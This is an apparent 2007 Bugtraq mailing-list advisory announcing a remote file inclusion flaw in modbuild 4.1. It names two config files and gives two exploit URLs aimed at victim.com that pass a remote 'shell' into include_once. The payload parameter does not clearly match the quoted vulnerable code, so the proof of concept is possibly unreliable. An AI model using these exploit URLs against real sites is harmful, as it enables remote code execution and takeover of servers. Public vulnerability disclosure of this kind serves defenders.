modbuild >> 4.1 Remote File Inclusion
Date: 25 Apr 2007 22:40:16 -0000
From: s433d_only_linux@yahoo.de
To: bugtraq@securityfocus.com
Subject: modbuild >> 4.1 Remote File Inclusion
X-Virus-Scanned: antivirus-gw at tyumen.ru
####################################################
modbuild >> 4.1 Remote File Inclusion
####################################################
Affected Software .:
Download..:
Risk ..............: high
Date .........: 26/4/2007
Found by ..........: s433d_only_linux
Contact ...........: s433d_only_linux@yahoo.de
Web .............: Www.hackerz.ir
special thanx ........... B4h4r3h_ir my best friend :x & ali jasbi
####################################################
####################################################
Affected File:
oneadmin/config-bak.php include_once($path["docroot"]."common/include.php");
oneadmin/config.php include_once($path["docroot"]."common/include.php");
####################################################
Exploit:
http://victim.com/oneadmin/config-bak.php?include_once=shell?
http://victim.com/oneadmin/config.php?include_once=shell?
####################################################
